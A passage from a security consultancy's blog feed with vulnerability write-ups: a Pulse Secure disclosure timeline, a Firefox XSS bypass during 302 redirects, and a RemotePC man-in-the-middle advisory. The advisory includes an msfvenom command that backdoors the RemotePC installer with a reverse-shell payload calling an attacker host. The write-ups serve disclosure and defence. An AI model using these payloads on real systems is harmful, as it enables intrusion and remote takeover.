1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> <p>This whole thing is a really good opportunity to reflect on what constitutes a security vulnerability, and what should be considered when making risk assessments. Should the ability to recover the plaintext password of a user be considered a security issue when it affects the exact feature that is expected to do that ? What if the password is actually the domain password ? How do we properly balance between security and usability when choosing whether end users have the ability to save their credentials or not ?</p> <p>Yes, other ways to abuse Pulse Secure client in order to gain access to the plaintext password still exists. A malicious process could attach to Pulse.exe to get the plaintext when entered by the user on first use, or a keylogger could simply get the user's password when the victim is typing it. However, attaching with a debugger on a live production machine should make way more noise than dumping a single registry value and calling a DPAPI function, at least in companies with mature security controls.</p> <p>Answers to these open questions are left as an exercise to the reader. In the end, each company will need to assess risk based on their own threat model, there's no easy answer. At least this time, it won't be as easy as reading a registry value.</p> <h3><a id="user-content-coordinated-disclosure-timeline" href="#coordinated-disclosure-timeline" name="coordinated-disclosure-timeline" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Coordinated Disclosure Timeline</h3> <ul> <li>**February 22, 2019** - Report sent to Pulse Secure PSIRT.</li> <li>**February 23, 2019** - PSIRT acknowledge reception of our report.</li> <li>**March 1, 2019** - PSIRT indicates they have involved Pulse Secure development team and are evaluating.</li> <li>**March 13, 2019** - PSIRT indicates development team is still working with PSIRT on this.</li> <li>**May 18, 2019** - PSIRT requests more time so they can push the fix with their next engineering release in Q3 2019. We accept.</li> <li>**May 20, 2019** - PSIRT indicates tentative date for release is end of July.</li> <li>**July 8, 2019** - PSIRT indicates that current plan is to merge the fix in version 9.1R3, no ETA.</li> <li>**August 23, 2019** - PSIRT indicates that issue is fixed in version 9.1R3.</li> <li>**October 15, 2019** - We ask for a status update, no answer. We check if released version 9.1R3 is still affected. It is.</li> <li>**November 4, 2019** - We ask for a status update, no answer.</li> <li>**December 11, 2019** - We ask for a status update, no answer.</li> <li>**February 2, 2020** - PSIRT informs us that the reported issue is now fixed in 9.1R4 and 9.0R5 PCS version.</li> <li>**February 13, 2020** - PSIRT provides reserved CVE identifier: CVE-2020-8956</li> <li>**October 27, 2020** - CVE-2020-8956 details are published.</li> <li>**October 27, 2020** - Our customer confirms roll out of updated version. We release this blog post.</li> </ul></div> <span><span lang="" about="/user/420" typeof="schema:Person" property="schema:name" datatype="">quentin</span></span> <span>Mon, 10/05/2020 - 14:50</span> Mon, 05 Oct 2020 12:50:49 +0000 quentin 963 at https://www.gremwell.com Forcing Firefox to Execute XSS Payloads during 302 Redirects https://www.gremwell.com/firefox-xss-302 <span>Forcing Firefox to Execute XSS Payloads during 302 Redirects</span> <div><h3><a id="user-content-initial-discovery" href="#initial-discovery" name="initial-discovery" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Initial Discovery</h3> <p>During a recent engagement I identified an open redirect where a GET parameter would be reflected as-is in the HTTP response Location header without any kind of sanitization. Something similar to this:</p> <p><img src="https://www.gremwell.com/sites/default/files/Screenshot%20from%202020-09-30%2014-53-31.png" alt="open_redirect" /></p> <p>Trying multiple kinds of injections, I discovered that newlines and carriage returns characters could be inserted, leading to header injection:</p> <p><img src="https://www.gremwell.com/sites/default/files/Screenshot%20from%202020-09-30%2015-35-26.png" alt="header_injection" /></p> <p>Even more interesting, we can inject arbitrary content in the HTTP response body by inserting two newline characters, leading to reflected cross-site scripting:</p> <p><img src="https://www.gremwell.com/sites/default/files/Screenshot%20from%202020-09-30%2015-36-54.png" alt="body_inject" /></p> <p>However, modern browsers (Google Chrome, Internet Explorer, Firefox) do not interpret the HTTP response body if the HTTP response status code is a 302, so our cross-site scripting payload is useless. Time to find a bypass !</p> <h3><a id="user-content-prior-work" href="#prior-work" name="prior-work" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Prior Work</h3> <p>By searching for prior bypasses, I stumbled upon this <a rel="noopener noreferrer" target="_blank" href="https://www.fortinet.com/blog/threat-research/multiple-plone-cross-site-scripting-vulnerabilities">blog post</a> where Fortinet describes how they bypassed the execution block by setting the Location header to a URI starting with 'mailto://'. <a rel="noopener noreferrer" target="_blank" href="https://forum.bugcrowd.com/t/how-to-trigger-js-execution-on-302-page/3449/5">Bugcrowd forums</a> also provides some insight into bypasses that may have worked in the past. And this excellent <a rel="noopener noreferrer" target="_blank" href="https://hackerone.com/reports/260744">HackerOne report</a> on XSS affecting Twitter, where they used a Location header starting with '//x:1/' definitely sent me in the right direction.</p> <h3><a id="user-content-lets-fuzz" href="#lets-fuzz" name="lets-fuzz" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Let's Fuzz</h3> <p>Given that none of the already documented bypasses worked, I decided to write a dumb fuzzer that would generate a list of URLs and open them with xdg-open. To do so, I downloaded the <a rel="noopener noreferrer" target="_blank" href="https://www.iana.org/assignments/uri-schemes/uri-schemes.txt">IANA URI schemes list</a> and generated a list of URLs following this format: <a rel="noopener noreferrer" target="_blank" href="http://acme.corp/?redir=">http://acme.corp/?redir=</a>[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]. Google Chrome and Firefox were tested in this way, Internet Explorer was also tested but with a PowerShell script rather than simply calling xdg-open.</p> <p>I then spent quite some time closing browser tabs, hoping to be greeted with an alert box :)</p> <h3><a id="user-content-a-valid-candidate" href="#a-valid-candidate" name="a-valid-candidate" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>A Valid Candidate</h3> <p>Two candidates out of the full IANA URI scheme list worked, and only on Firefox:</p> <ul> <li>ws:// (WebSocket)</li> <li>wss:// (Secure WebSocket).</li> </ul> <p>It simply looks like this:</p> <p><img src="https://www.gremwell.com/sites/default/files/Screenshot%20from%202020-09-30%2015-38-33.png" alt="valid_bypass" /></p> <p>Opening the link in the latest version of Firefox (version 81 at the time of writing) and we see we are executing JavaScript under the right domain, without being redirected:</p> <p><img src="https://www.gremwell.com/sites/default/files/Screenshot%20from%202020-09-30%2014-48-27.png" alt="xss_trigger" /></p> <h3><a id="user-content-proof-of-concept" href="#proof-of-concept" name="proof-of-concept" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Proof-of-Concept</h3> <p>If you want to test this at home, you can download the <a href="https://www.gremwell.com/sites/default/files/302_server.py">302_server</a> script. It will launch a Python3 HTTP server on port 8000, mimicking the behavior I just described.</p> <h3><a id="user-content-update---october-1st-2020" href="#update---october-1st-2020" name="update---october-1st-2020" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Update - October 1st 2020</h3> <p><a rel="noopener noreferrer" target="_blank" href="https://twitter.com/@Black2Fan">Sergey Bobrov</a> just <a rel="noopener noreferrer" target="_blank" href="https://twitter.com/Black2Fan/status/1311630481084026881">pointed out</a> that using an empty Location header will work to force Google Chrome to execute the payload. Nice find !</p> <h3><a id="user-content-update---october-2nd-2020" href="#update---october-2nd-2020" name="update---october-2nd-2020" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Update - October 2nd 2020</h3> <p><a rel="noopener noreferrer" target="_blank" href="https://twitter.com/@mmrupp">Maxim Rupp</a> just <a rel="noopener noreferrer" target="_blank" href="https://twitter.com/mmrupp/status/1311786461419585537">pointed out</a> that using an resource:// URI in the Location header will work to force Firefox 81 to execute the payload. Nice find !</p></div> <span><span lang="" about="/user/420" typeof="schema:Person" property="schema:name" datatype="">quentin</span></span> <span>Wed, 09/30/2020 - 14:49</span> Wed, 30 Sep 2020 12:49:57 +0000 quentin 962 at https://www.gremwell.com Remote Command Execution on RemotePC for Windows https://www.gremwell.com/blog/remote-command-execution-on-remotepc-for-windows <span>Remote Command Execution on RemotePC for Windows</span> <div><h2><a id="user-content-introduction" href="#introduction" name="introduction" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> <p>During an audit we executed in 2019, we had to test a deployment where a third party company had to remotely connect to special purpose computers to perform maintenance. At the time, they had chosen a software called <a rel="noopener noreferrer" target="_blank" href="https://www.remotepc.com/">RemotePC</a> to remotely login into these special purpose computers rather than relying on RDP. RemotePC is a a remote desktop software that lets a support agent remotely connect to a computer and take control of keyboard, mouse, and screen. It's quite similar to TeamViewer.</p> <p>Transport security fell into the scope of this specific audit so we covered all communication channels established by RemotePC clients. Turns out RemotePC Windows client does not properly validate SSL certificates, allowing a man-in-the-middle attacker to:</p> <ul> <li>capture credentials when user logs in with remotepc account</li> <li>observe the remotely accessed desktop, inject keystrokes and mouse events</li> <li>hijack the auto-update mechanism in order to get the RemotePC client to execute an arbitrary executable, leading to remote command execution</li> </ul> <b> All versions prior to 7.6.26-28/04/20 are vulnerable. We strongly recommend anyone using RemotePC to update to the latest version available at [https://www.remotepc.com/download.htm](https://www.remotepc.com/download.htm) </b> <h2><a id="user-content-testing-remotepc-client-ssltls" href="#testing-remotepc-client-ssltls" name="testing-remotepc-client-ssltls" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Testing RemotePC Client SSL/TLS</h2> <p>We checked if the client is resilient to man-in-the-middle attacks by intercepting traffic going to remotepc.com hosts and redirecting it to a running instance of <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a>. The excerpt below is representative of all outgoing connections established by the RemotePC client. Any certificate will be accepted, regardless of the host being accessed (www1.remotepc.com, web1.remotepc.com, version.remotepc.com, desktop.remotepc.com, broker.remotepc.com, ...).</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo qsslcaudit --user-cert /home/quentin/certs/untrusted5.gremwell.com.pem --user-key /home/quentin/certs/untrusted5.gremwell.com.key --server https://broker13.remotepc.com -l 192.168.1.29 -p 443<br /> <br /> preparing selected tests...<br /> &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> <br /> SSL library used: OpenSSL 1.0.2i &nbsp;22 Sep 2016<br /> <br /> running test #1: certificate trust test with user-supplied certificate<br /> listening on 192.168.1.29:443<br /> connection from: 192.168.1.13:50519<br /> SSL connection established<br /> received data: GET /proxy/remotehosts HTTP/1.1<br /> User-Agent: websocket-sharp/1.0<br /> Host: broker13.remotepc.com<br /> Upgrade: websocket<br /> Connection: Upgrade<br /> Sec-WebSocket-Key: zvRgQ97fyTccE5daHsvmqQ==<br /> Sec-WebSocket-Version: 13<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #2: certificate trust test with self-signed certificate for user-supplied common name<br /> listening on 192.168.1.29:443<br /> connection from: 192.168.1.13:50520<br /> SSL connection established<br /> received data: GET /proxy/remotehosts HTTP/1.1<br /> User-Agent: websocket-sharp/1.0<br /> Host: broker13.remotepc.com<br /> Upgrade: websocket<br /> Connection: Upgrade<br /> Sec-WebSocket-Key: zqzl1xxph4Ff7VqcQ7FU2g==<br /> Sec-WebSocket-Version: 13<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #3: certificate trust test with self-signed certificate for www.example.com<br /> listening on 192.168.1.29:443<br /> connection from: 192.168.1.13:50521<br /> SSL connection established<br /> received data: GET /proxy/remotehosts HTTP/1.1<br /> User-Agent: websocket-sharp/1.0<br /> Host: broker13.remotepc.com<br /> Upgrade: websocket<br /> Connection: Upgrade<br /> Sec-WebSocket-Key: yz8c8xsrLCgQ8VWSpbybbg==<br /> Sec-WebSocket-Version: 13<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate<br /> listening on 192.168.1.29:443<br /> connection from: 192.168.1.13:50523<br /> SSL connection established<br /> received data: GET /proxy/remotehosts HTTP/1.1<br /> User-Agent: websocket-sharp/1.0<br /> Host: broker13.remotepc.com<br /> Upgrade: websocket<br /> Connection: Upgrade<br /> Sec-WebSocket-Key: W46qIet5+wJvv+C6VDETDA==<br /> Sec-WebSocket-Version: 13<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> <br /> running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate<br /> listening on 192.168.1.29:443<br /> connection from: 192.168.1.13:50524<br /> SSL connection established<br /> received data: GET /proxy/remotehosts HTTP/1.1<br /> User-Agent: websocket-sharp/1.0<br /> Host: broker13.remotepc.com<br /> Upgrade: websocket<br /> Connection: Upgrade<br /> Sec-WebSocket-Key: ztV0ldUHwmAmfKFgsWKdcA==<br /> Sec-WebSocket-Version: 13<br /> <br /> <br /> disconnected<br /> report:<br /> test failed, client accepted fake certificate, data was intercepted<br /> test finished<br /> <br /> tests results summary table:<br /> +----+------------------------------------+------------+-----------------------------+<br /> | ## | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Test Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; Result &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Comment &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----+------------------------------------+------------+-----------------------------+<br /> | &nbsp;1 | custom certificate trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; FAILED &nbsp; | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;2 | self-signed certificate for target | &nbsp; FAILED &nbsp; | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| &nbsp;domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;3 | self-signed certificate for invali | &nbsp; FAILED &nbsp; | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| d domain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;4 | custom certificate for target doma | &nbsp; FAILED &nbsp; | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| in trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp;5 | custom certificate for invalid dom | &nbsp; FAILED &nbsp; | mitm possible &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> | &nbsp; &nbsp;| ain trust &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----+------------------------------------+------------+-----------------------------+<br /> most likely all connections were established by the same client, some collected details:<br /> source host: 192.168.1.13<br /> protocol: TLSv1.2<br /> accepted ciphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_DHE_DSS_WITH_AES_256_CBC_SHA256:TLS_DHE_DSS_WITH_AES_128_CBC_SHA256:TLS_DHE_DSS_WITH_AES_256_CBC_SHA:TLS_DHE_DSS_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA:TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_RC4_128_MD5<br /> SNI: broker13.remotepc.com<br /> <br /> qsslcaudit version: 0.4.0</div></div> <h2><a id="user-content-turning-unsafe-update-into-rce" href="#turning-unsafe-update-into-rce" name="turning-unsafe-update-into-rce" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Turning Unsafe Update into RCE</h2> <p>To fully demonstrate the impact, we used the update process which is also vulnerable to man-in-the-middle attacks.</p> <p>When the RemotePC service starts (the service is set to auto-start on boot), the following request is sent to <a rel="noopener noreferrer" target="_blank" href="http://www.remotepc.com">www.remotepc.com</a>:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">GET /rpcnew/getOSVersion?os=win-new HTTP/1.1<br /> Host: www.remotepc.com<br /> Connection: close</div></div> <p>The server answers with the latest available version of RemotePC:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">HTTP/1.1 200<br /> Server: nginx<br /> Date: Tue, 13 Aug 2019 13:53:37 GMT<br /> Content-Type: text/plain;charset=ISO-8859-1<br /> Content-Length: 57<br /> Connection: close<br /> X-Content-Type-Options: nosniff<br /> X-XSS-Protection: 1; mode=block<br /> Cache-Control: no-cache, no-store, max-age=0, must-revalidate<br /> Pragma: no-cache<br /> Expires: 0<br /> Strict-Transport-Security: max-age=31536000 ; includeSubDomains<br /> X-Frame-Options: DENY<br /> X-FRAME-OPTIONS: SAMEORIGIN<br /> Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly<br /> X-Frame-Options: SAMEORIGIN<br /> X-XSS-Protection: 1; mode=block<br /> X-Content-Type-Options: nosniff<br /> Access-Control-Allow-Credentials: true<br /> Strict-Transport-Security: max-age=15768000<br /> <br /> {releaseDate=2019-06-01 00:08:30.0, versionNumber=7.6.12}</div></div> <p>By intercepting the response and modifying the &quot;versionNumber&quot; value, we can make the following popup show up:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">HTTP/1.1 200<br /> Server: nginx<br /> Date: Tue, 13 Aug 2019 13:53:37 GMT<br /> Content-Type: text/plain;charset=ISO-8859-1<br /> Content-Length: 56<br /> Connection: close<br /> X-Content-Type-Options: nosniff<br /> X-XSS-Protection: 1; mode=block<br /> Cache-Control: no-cache, no-store, max-age=0, must-revalidate<br /> Pragma: no-cache<br /> Expires: 0<br /> Strict-Transport-Security: max-age=31536000 ; includeSubDomains<br /> X-Frame-Options: DENY<br /> X-FRAME-OPTIONS: SAMEORIGIN<br /> Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly<br /> X-Frame-Options: SAMEORIGIN<br /> X-XSS-Protection: 1; mode=block<br /> X-Content-Type-Options: nosniff<br /> Access-Control-Allow-Credentials: true<br /> Strict-Transport-Security: max-age=15768000<br /> <br /> {releaseDate=2019-08-05 00:08:30.0, versionNumber=7.7.3}</div></div> <p><img src="https://www.gremwell.com/sites/default/files/update.png" alt="update" /></p> <p>When the user clicks on “here”, the application downloads the latest version from desktop.remotepc.com:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">GET /downloads/RemotePC.exe HTTP/1.1<br /> Host: desktop.remotepc.com<br /> Connection: close</div></div> <p>We therefore downloaded the legitimate version and backdoored it with Metasploit's meterpreter:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">./msfvenom -a x86 --platform windows -x /tmp/downloads/RemotePC.exe -k<br /> -p windows/meterpreter/reverse_tcp lhost=192.168.1.29 lport=4444 -e x86/shikata_ga_nai -i 3 -b &quot;\x00&quot; -f exe -o RemotePCbd.exe<br /> Found 1 compatible encoders<br /> Attempting to encode payload with 3 iterations of x86/shikata_ga_nai<br /> x86/shikata_ga_nai succeeded with size 368 (iteration=0)<br /> x86/shikata_ga_nai succeeded with size 395 (iteration=1)<br /> x86/shikata_ga_nai succeeded with size 422 (iteration=2)<br /> x86/shikata_ga_nai chosen with final size 422<br /> Payload size: 422 bytes<br /> Final size of exe file: 400896 bytes<br /> Saved as: RemotePCbd.exe</div></div> <p>We copied it to a rogue server, acting as the man-in-the-middle attacker:</p> <div class="geshifilter"><div class="text geshifilter-text" 